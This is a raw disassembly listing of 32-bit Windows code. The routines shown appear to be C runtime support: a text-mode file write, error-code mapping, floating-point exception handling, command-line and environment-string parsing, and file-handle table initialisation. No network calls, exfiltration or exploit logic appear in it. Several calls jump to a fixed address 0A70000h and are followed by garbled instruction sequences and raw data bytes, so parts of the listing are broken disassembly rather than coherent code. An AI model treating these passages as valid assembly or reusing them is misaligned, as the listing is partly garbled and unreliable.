		jz	loc_41A5EA
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_41A622


loc_41A53B:				; CODE XREF: sub_41A4BA+F5j
		lea	eax, [ebp+var_414]


loc_41A541:				; CODE XREF: sub_41A4BA+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41A575
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_41A560
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_41A560:				; CODE XREF: sub_41A4BA+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_41A541


loc_41A575:				; CODE XREF: sub_41A4BA+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 0A70000h
		xor	al, 85h
		sal	byte ptr [ebx+eax*2-75h], 45h
		hlt
; ---------------------------------------------------------------------------
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_41A5B1
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_41A53B


loc_41A5B1:				; CODE XREF: sub_41A4BA+EAj
					; sub_41A4BA+12Ej
		xor	edi, edi


loc_41A5B3:				; CODE XREF: sub_41A4BA+150j
					; sub_41A4BA+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_41A649
		cmp	[ebp+arg_0], edi
		jz	short loc_41A622
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_41A617
		mov	ds:dword_45E804, 9
		mov	ds:dword_45E808, eax
		jmp	loc_41A65F
; ---------------------------------------------------------------------------
		call	ds:dword_41F068	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_41A5B1
; ---------------------------------------------------------------------------


loc_41A5EA:				; CODE XREF: sub_41A4BA+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	near ptr 0A70000h
		pop	esi
		test	eax, eax
		jz	short loc_41A60C
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_41A5B3
; ---------------------------------------------------------------------------


loc_41A60C:				; CODE XREF: sub_41A4BA+145j
		call	ds:dword_41F068	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_41A5B3
; ---------------------------------------------------------------------------


loc_41A617:				; CODE XREF: sub_41A4BA+10Fj
		push	[ebp+arg_0]
		call	sub_41A667
		pop	ecx
		jmp	short loc_41A65F
; ---------------------------------------------------------------------------


loc_41A622:				; CODE XREF: sub_41A4BA+7Bj
					; sub_41A4BA+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_41A637
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_41A504


loc_41A637:				; CODE XREF: sub_41A4BA+16Fj
		mov	ds:dword_45E804, 1Ch
		mov	ds:dword_45E808, edi
		jmp	short loc_41A65F
; ---------------------------------------------------------------------------


loc_41A649:				; CODE XREF: sub_41A4BA+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_41A662
; ---------------------------------------------------------------------------


loc_41A64E:				; CODE XREF: sub_41A4BA+15j
					; sub_41A4BA+37j
		and	ds:dword_45E808, 0
		mov	ds:dword_45E804, 9


loc_41A65F:				; CODE XREF: sub_41A4BA+120j
					; sub_41A4BA+166j ...
		or	eax, 0FFFFFFFFh


loc_41A662:				; CODE XREF: sub_41A4BA+4Cj
					; sub_41A4BA+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A4BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A667	proc near		; CODE XREF: sub_415799+16p
					; sub_41598C+1Dp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	ds:dword_45E808, ecx
		mov	eax, offset dword_42D560


loc_41A678:				; CODE XREF: sub_41A667+1Ej
		cmp	ecx, [eax]
		jz	short loc_41A69C
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_42D6C8
		jl	short loc_41A678
		cmp	ecx, 13h
		jb	short loc_41A6A9
		cmp	ecx, 24h
		ja	short loc_41A6A9
		mov	ds:dword_45E804, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_41A69C:				; CODE XREF: sub_41A667+13j
		mov	eax, ds:dword_42D564[edx*8]
		mov	ds:dword_45E804, eax
		retn
; ---------------------------------------------------------------------------


loc_41A6A9:				; CODE XREF: sub_41A667+23j
					; sub_41A667+28j
		cmp	ecx, 0BCh
		jb	short loc_41A6C3
		cmp	ecx, 0CAh
		mov	ds:dword_45E804, 8
		jbe	short locret_41A6CD


loc_41A6C3:				; CODE XREF: sub_41A667+48j
		mov	ds:dword_45E804, 16h

locret_41A6CD:				; CODE XREF: sub_41A667+5Aj
		retn
sub_41A667	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6CE	proc near		; CODE XREF: seg000:00415C6Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	[ebp+arg_0]
		call	sub_41A80F
		test	eax, eax
		pop	ecx
		jz	loc_41A803
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_41A803
		cmp	ebx, 5
		jnz	short loc_41A6FF
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_41A80C
; ---------------------------------------------------------------------------


loc_41A6FF:				; CODE XREF: sub_41A6CE+23j
		cmp	ebx, 1
		jz	loc_41A7FE
		mov	ecx, ds:dword_45E8B4
		mov	[ebp+arg_0], ecx
		mov	ecx, [ebp+arg_4]
		mov	ds:dword_45E8B4, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_41A7EE
		mov	ecx, ds:dword_42D740
		mov	edx, ds:dword_42D744
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_41A74E
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:42D6D0h[esi*4]


loc_41A745:				; CODE XREF: sub_41A6CE+7Ej
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_41A745


loc_41A74E:				; CODE XREF: sub_41A6CE+69j
		mov	eax, [eax]
		mov	esi, ds:dword_42D74C
		cmp	eax, 0C000008Eh
		jnz	short loc_41A769
		mov	ds:dword_42D74C, 83h
		jmp	short loc_41A7D9
; ---------------------------------------------------------------------------


loc_41A769:				; CODE XREF: sub_41A6CE+8Dj
		cmp	eax, 0C0000090h
		jnz	short loc_41A77C
		mov	ds:dword_42D74C, 81h
		jmp	short loc_41A7D9
; ---------------------------------------------------------------------------


loc_41A77C:				; CODE XREF: sub_41A6CE+A0j
		cmp	eax, 0C0000091h
		jnz	short loc_41A78F
		mov	ds:dword_42D74C, 84h
		jmp	short loc_41A7D9
; ---------------------------------------------------------------------------


loc_41A78F:				; CODE XREF: sub_41A6CE+B3j
		cmp	eax, 0C0000093h
		jnz	short loc_41A7A2
		mov	ds:dword_42D74C, 85h
		jmp	short loc_41A7D9
; ---------------------------------------------------------------------------


loc_41A7A2:				; CODE XREF: sub_41A6CE+C6j
		cmp	eax, 0C000008Dh
		jnz	short loc_41A7B5
		mov	ds:dword_42D74C, 82h
		jmp	short loc_41A7D9
; ---------------------------------------------------------------------------


loc_41A7B5:				; CODE XREF: sub_41A6CE+D9j
		cmp	eax, 0C000008Fh
		jnz	short loc_41A7C8
		mov	ds:dword_42D74C, 86h
		jmp	short loc_41A7D9
; ---------------------------------------------------------------------------


loc_41A7C8:				; CODE XREF: sub_41A6CE+ECj
		cmp	eax, 0C0000092h
		jnz	short loc_41A7D9
		mov	ds:dword_42D74C, 8Ah


loc_41A7D9:				; CODE XREF: sub_41A6CE+99j
					; sub_41A6CE+ACj ...
		push	ds:dword_42D74C
		push	8
		call	ebx
		pop	ecx
		mov	ds:dword_42D74C, esi
		pop	ecx
		pop	esi
		jmp	short loc_41A7F6
; ---------------------------------------------------------------------------


loc_41A7EE:				; CODE XREF: sub_41A6CE+52j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_41A7F6:				; CODE XREF: sub_41A6CE+11Ej
		mov	eax, [ebp+arg_0]
		mov	ds:dword_45E8B4, eax


loc_41A7FE:				; CODE XREF: sub_41A6CE+34j
		or	eax, 0FFFFFFFFh
		jmp	short loc_41A80C
; ---------------------------------------------------------------------------


loc_41A803:				; CODE XREF: sub_41A6CE+Fj
					; sub_41A6CE+1Aj
		push	[ebp+arg_4]
		call	ds:dword_41F194	; UnhandledExceptionFilter


loc_41A80C:				; CODE XREF: sub_41A6CE+2Cj
					; sub_41A6CE+133j
		pop	ebx
		pop	ebp
		retn
sub_41A6CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A80F	proc near		; CODE XREF: sub_41A6CE+7p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, ds:dword_42D748
		cmp	ds:dword_42D6C8, edx
		push	esi
		mov	eax, offset dword_42D6C8
		jz	short loc_41A83C
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:42D6C8h[esi*4]


loc_41A831:				; CODE XREF: sub_41A80F+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41A83C
		cmp	[eax], edx
		jnz	short loc_41A831


loc_41A83C:				; CODE XREF: sub_41A80F+16j
					; sub_41A80F+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:42D6C8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41A84F
		cmp	[eax], edx
		jz	short locret_41A851


loc_41A84F:				; CODE XREF: sub_41A80F+3Aj
		xor	eax, eax

locret_41A851:				; CODE XREF: sub_41A80F+3Ej
		retn
sub_41A80F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A852	proc near		; CODE XREF: seg000:00415C2Dp
		cmp	ds:dword_45FE6C, 0
		jnz	short loc_41A860
		call	sub_41A414


loc_41A860:				; CODE XREF: sub_41A852+7j
		push	esi
		mov	esi, ds:dword_45FE64
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_41A892


loc_41A86D:				; CODE XREF: sub_41A852+33j
					; sub_41A852+36j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_41A88A
		test	al, al
		jz	short loc_41A88A
		movzx	eax, al
		push	eax
		call	sub_41C73C
		test	eax, eax
		pop	ecx
		jz	short loc_41A86D
		inc	esi
		jmp	short loc_41A86D
; ---------------------------------------------------------------------------


loc_41A88A:				; CODE XREF: sub_41A852+21j
					; sub_41A852+25j
		cmp	byte ptr [esi],	22h
		jnz	short loc_41A89C


loc_41A88F:				; CODE XREF: sub_41A852+52j
		inc	esi
		jmp	short loc_41A89C
; ---------------------------------------------------------------------------


loc_41A892:				; CODE XREF: sub_41A852+19j
		cmp	al, 20h
		jbe	short loc_41A89C


loc_41A896:				; CODE XREF: sub_41A852+48j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_41A896


loc_41A89C:				; CODE XREF: sub_41A852+3Bj
					; sub_41A852+3Ej ...
		mov	al, [esi]
		test	al, al
		jz	short loc_41A8A6
		cmp	al, 20h
		jbe	short loc_41A88F


loc_41A8A6:				; CODE XREF: sub_41A852+4Ej
		mov	eax, esi
		pop	esi
		retn
sub_41A852	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A8AA	proc near		; CODE XREF: seg000:00415C16p
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_45FE6C, ebx
		push	esi
		push	edi
		jnz	short loc_41A8BC
		call	sub_41A414


loc_41A8BC:				; CODE XREF: sub_41A8AA+Bj
		mov	esi, ds:dword_45E850
		xor	edi, edi


loc_41A8C4:				; CODE XREF: sub_41A8AA+30j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_41A8DC
		cmp	al, 3Dh
		jz	short loc_41A8CF
		inc	edi


loc_41A8CF:				; CODE XREF: sub_41A8AA+22j
		push	esi
		call	sub_413DB0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_41A8C4
; ---------------------------------------------------------------------------


loc_41A8DC:				; CODE XREF: sub_41A8AA+1Ej
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_413E5F
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	ds:dword_45E82C, esi
		jnz	short loc_41A8FE
		push	9
		call	sub_415C7E
		pop	ecx


loc_41A8FE:				; CODE XREF: sub_41A8AA+4Aj
		mov	edi, ds:dword_45E850
		cmp	[edi], bl
		jz	short loc_41A941
		push	ebp


loc_41A909:				; CODE XREF: sub_41A8AA+94j
		push	edi
		call	sub_413DB0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_41A93A
		push	ebp
		call	sub_413E5F
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_41A92D
		push	9
		call	sub_415C7E
		pop	ecx


loc_41A92D:				; CODE XREF: sub_41A8AA+79j
		push	edi
		push	dword ptr [esi]
		call	sub_413CC0
		pop	ecx
		add	esi, 4
		pop	ecx


loc_41A93A:				; CODE XREF: sub_41A8AA+6Cj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_41A909
		pop	ebp


loc_41A941:				; CODE XREF: sub_41A8AA+5Cj
		push	ds:dword_45E850
		call	sub_413ED3
		pop	ecx
		mov	ds:dword_45E850, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	ds:dword_45FE68, 1
		pop	ebx
		retn
sub_41A8AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A963	proc near		; CODE XREF: seg000:00415C11p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_45FE6C, ebx
		push	esi
		push	edi
		jnz	short loc_41A97A
		call	sub_41A414


loc_41A97A:				; CODE XREF: sub_41A963+10j
		mov	esi, offset dword_45E8B8
		push	104h
		push	esi
		push	ebx
		call	near ptr 0A70000h
		mov	eax, cs:dword_45FE64
		mov	ds:dword_45E83C, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_41A99F
		mov	edi, eax


loc_41A99F:				; CODE XREF: sub_41A963+38j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_41A9FC
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_413E5F
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_41A9CF
		push	8
		call	sub_415C7E
		pop	ecx


loc_41A9CF:				; CODE XREF: sub_41A963+62j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_41A9FC
		mov	eax, [ebp+var_4]
		add	esp, 14h
		dec	eax
		mov	ds:dword_45E824, esi
		pop	edi
		pop	esi
		mov	ds:dword_45E820, eax
		pop	ebx
		leave
		retn
sub_41A963	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A9FC	proc near		; CODE XREF: sub_41A963+47p
					; sub_41A963+7Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_41AA26
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41AA26:				; CODE XREF: sub_41A9FC+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41AA6F


loc_41AA2B:				; CODE XREF: sub_41A9FC+58j
					; sub_41A9FC+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_41AA5D
		test	dl, dl
		jz	short loc_41AA5D
		movzx	edx, dl
		test	ds:byte_45FD41[edx], 4
		jz	short loc_41AA50
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41AA50
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_41AA50:				; CODE XREF: sub_41A9FC+46j
					; sub_41A9FC+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41AA2B
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41AA2B
; ---------------------------------------------------------------------------


loc_41AA5D:				; CODE XREF: sub_41A9FC+36j
					; sub_41A9FC+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41AA67
		and	byte ptr [esi],	0
		inc	esi


loc_41AA67:				; CODE XREF: sub_41A9FC+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41AAB2
		inc	eax
		jmp	short loc_41AAB2
; ---------------------------------------------------------------------------


loc_41AA6F:				; CODE XREF: sub_41A9FC+2Dj
					; sub_41A9FC+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41AA7A
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_41AA7A:				; CODE XREF: sub_41A9FC+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	ds:byte_45FD41[ebx], 4
		jz	short loc_41AA95
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41AA94
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_41AA94:				; CODE XREF: sub_41A9FC+91j
		inc	eax


loc_41AA95:				; CODE XREF: sub_41A9FC+8Bj
		cmp	dl, 20h
		jz	short loc_41AAA3
		test	dl, dl
		jz	short loc_41AAA7
		cmp	dl, 9
		jnz	short loc_41AA6F


loc_41AAA3:				; CODE XREF: sub_41A9FC+9Cj
		test	dl, dl
		jnz	short loc_41AAAA


loc_41AAA7:				; CODE XREF: sub_41A9FC+A0j
		dec	eax
		jmp	short loc_41AAB2
; ---------------------------------------------------------------------------


loc_41AAAA:				; CODE XREF: sub_41A9FC+A9j
		test	esi, esi
		jz	short loc_41AAB2
		and	byte ptr [esi-1], 0


loc_41AAB2:				; CODE XREF: sub_41A9FC+6Ej
					; sub_41A9FC+71j ...
		and	[ebp+arg_10], 0


loc_41AAB6:				; CODE XREF: sub_41A9FC+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_41AB9F


loc_41AABF:				; CODE XREF: sub_41A9FC+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_41AACB
		cmp	dl, 9
		jnz	short loc_41AACE


loc_41AACB:				; CODE XREF: sub_41A9FC+C8j
		inc	eax
		jmp	short loc_41AABF
; ---------------------------------------------------------------------------


loc_41AACE:				; CODE XREF: sub_41A9FC+CDj
		cmp	byte ptr [eax],	0
		jz	loc_41AB9F
		test	edi, edi
		jz	short loc_41AAE3
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41AAE3:				; CODE XREF: sub_41A9FC+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_41AAE8:				; CODE XREF: sub_41A9FC+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_41AAF1:				; CODE XREF: sub_41A9FC+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_41AAFA
		inc	eax
		inc	ebx
		jmp	short loc_41AAF1
; ---------------------------------------------------------------------------


loc_41AAFA:				; CODE XREF: sub_41A9FC+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41AB2B
		test	bl, 1
		jnz	short loc_41AB29
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_41AB18
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_41AB18
		mov	eax, edx
		jmp	short loc_41AB1B
; ---------------------------------------------------------------------------


loc_41AB18:				; CODE XREF: sub_41A9FC+10Dj
					; sub_41A9FC+116j
		mov	[ebp+arg_0], edi


loc_41AB1B:				; CODE XREF: sub_41A9FC+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_41AB29:				; CODE XREF: sub_41A9FC+106j
		shr	ebx, 1


loc_41AB2B:				; CODE XREF: sub_41A9FC+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_41AB40
		inc	ebx


loc_41AB33:				; CODE XREF: sub_41A9FC+142j
		test	esi, esi
		jz	short loc_41AB3B
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_41AB3B:				; CODE XREF: sub_41A9FC+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_41AB33


loc_41AB40:				; CODE XREF: sub_41A9FC+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_41AB90
		cmp	[ebp+arg_10], 0
		jnz	short loc_41AB56
		cmp	dl, 20h
		jz	short loc_41AB90
		cmp	dl, 9
		jz	short loc_41AB90


loc_41AB56:				; CODE XREF: sub_41A9FC+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_41AB8A
		test	esi, esi
		jz	short loc_41AB79
		movzx	ebx, dl
		test	ds:byte_45FD41[ebx], 4
		jz	short loc_41AB72
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_41AB72:				; CODE XREF: sub_41A9FC+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41AB88
; ---------------------------------------------------------------------------


loc_41AB79:				; CODE XREF: sub_41A9FC+162j
		movzx	edx, dl
		test	ds:byte_45FD41[edx], 4
		jz	short loc_41AB88
		inc	eax
		inc	dword ptr [ecx]


loc_41AB88:				; CODE XREF: sub_41A9FC+17Bj
					; sub_41A9FC+187j
		inc	dword ptr [ecx]


loc_41AB8A:				; CODE XREF: sub_41A9FC+15Ej
		inc	eax
		jmp	loc_41AAE8
; ---------------------------------------------------------------------------


loc_41AB90:				; CODE XREF: sub_41A9FC+148j
					; sub_41A9FC+153j ...
		test	esi, esi
		jz	short loc_41AB98
		and	byte ptr [esi],	0
		inc	esi


loc_41AB98:				; CODE XREF: sub_41A9FC+196j
		inc	dword ptr [ecx]
		jmp	loc_41AAB6
; ---------------------------------------------------------------------------


loc_41AB9F:				; CODE XREF: sub_41A9FC+BDj
					; sub_41A9FC+D5j
		test	edi, edi
		jz	short loc_41ABA6
		and	dword ptr [edi], 0


loc_41ABA6:				; CODE XREF: sub_41A9FC+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41A9FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ABB0	proc near		; CODE XREF: seg000:00415C07p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, ds:dword_45E9BC
		push	ebx
		push	ebp
		mov	ebp, ds:dword_41F03C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_41ABFE
		call	ebp ; dword_41F03C
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41ABDF
		mov	ds:dword_45E9BC, 1
		jmp	short loc_41AC07
; ---------------------------------------------------------------------------


loc_41ABDF:				; CODE XREF: sub_41ABB0+21j
		call	ds:dword_41F1A0	; GetEnvironmentStringsA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41ACD9
		mov	ds:dword_45E9BC, 2
		jmp	loc_41AC8D
; ---------------------------------------------------------------------------


loc_41ABFE:				; CODE XREF: sub_41ABB0+19j
		cmp	eax, 1
		jnz	loc_41AC88


loc_41AC07:				; CODE XREF: sub_41ABB0+2Dj
		cmp	esi, ebx
		jnz	short loc_41AC17
		call	ebp ; dword_41F03C
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_41ACD9


loc_41AC17:				; CODE XREF: sub_41ABB0+59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_41AC2C


loc_41AC1E:				; CODE XREF: sub_41ABB0+73j
					; sub_41ABB0+7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41AC1E
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41AC1E


loc_41AC2C:				; CODE XREF: sub_41ABB0+6Cj
		sub	eax, esi
		mov	edi, ds:dword_41F128
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi ; dword_41F128
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_41AC7D
		push	ebp
		call	sub_413E5F
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_41AC7D
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi ; dword_41F128
		test	eax, eax
		jnz	short loc_41AC79
		push	[esp+18h+var_8]
		call	sub_413ED3
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_41AC79:				; CODE XREF: sub_41ABB0+B9j
		mov	ebx, [esp+18h+var_8]


loc_41AC7D:				; CODE XREF: sub_41ABB0+99j
					; sub_41ABB0+A8j
		push	esi
		call	ds:dword_41F19C	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_41ACDB
; ---------------------------------------------------------------------------


loc_41AC88:				; CODE XREF: sub_41ABB0+51j
		cmp	eax, 2
		jnz	short loc_41ACD9


loc_41AC8D:				; CODE XREF: sub_41ABB0+49j
		cmp	edi, ebx
		jnz	short loc_41AC9D
		call	ds:dword_41F1A0	; GetEnvironmentStringsA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41ACD9


loc_41AC9D:				; CODE XREF: sub_41ABB0+DFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_41ACAD


loc_41ACA3:				; CODE XREF: sub_41ABB0+F6j
					; sub_41ABB0+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41ACA3
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41ACA3


loc_41ACAD:				; CODE XREF: sub_41ABB0+F1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_413E5F
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_41ACC3
		xor	esi, esi
		jmp	short loc_41ACCE
; ---------------------------------------------------------------------------


loc_41ACC3:				; CODE XREF: sub_41ABB0+10Dj
		push	ebp
		push	edi
		push	esi
		call	sub_413690
		add	esp, 0Ch


loc_41ACCE:				; CODE XREF: sub_41ABB0+111j
		push	edi
		call	near ptr 0A70000h
		db	64h
		mov	eax, esi
		jmp	short loc_41ACDB
; ---------------------------------------------------------------------------


loc_41ACD9:				; CODE XREF: sub_41ABB0+39j
					; sub_41ABB0+61j ...
		xor	eax, eax


loc_41ACDB:				; CODE XREF: sub_41ABB0+D6j
					; sub_41ABB0+127j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_41ABB0	endp

; ---------------------------------------------------------------------------


loc_41ACE2:				; CODE XREF: seg000:00415BF7p
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_413E5F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_41AD02
		push	1Bh
		call	sub_415C7E
		pop	ecx


loc_41AD02:				; CODE XREF: seg000:0041ACF8j
		mov	ds:dword_45FB20, esi
		mov	ds:dword_45FC20, 20h
		lea	eax, [esi+100h]


loc_41AD18:				; CODE XREF: seg000:0041AD34j
		cmp	esi, eax
		jnb	short loc_41AD36
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, ds:dword_45FB20
		add	esi, 8
		add	eax, 100h
		jmp	short loc_41AD18
; ---------------------------------------------------------------------------


loc_41AD36:				; CODE XREF: seg000:0041AD1Aj
		lea	eax, [esp+10h]
		push	eax
		call	near ptr 0A70000h
		add	[esi-7Dh], ah
		jl	short loc_41AD69
		inc	edx
		add	[edi], cl
		test	al, ch
; ---------------------------------------------------------------------------
		dw 0
		dd 24448B00h, 0FC08544h, 0B984h, 8D308B00h, 0B80468h, 3B000008h
		dd 2E1C8DF0h
		db 7Ch
; ---------------------------------------------------------------------------


loc_41AD69:				; CODE XREF: seg000:0041AD43j
		add	cl, [ebx+203539F0h]
		cld
		inc	ebp
		add	[ebp+52h], bh
		mov	edi, offset dword_45FB24


loc_41AD79:				; CODE XREF: seg000:0041ADBCj
		push	100h
		call	sub_413E5F
		test	eax, eax
		pop	ecx
		jz	short loc_41ADC0
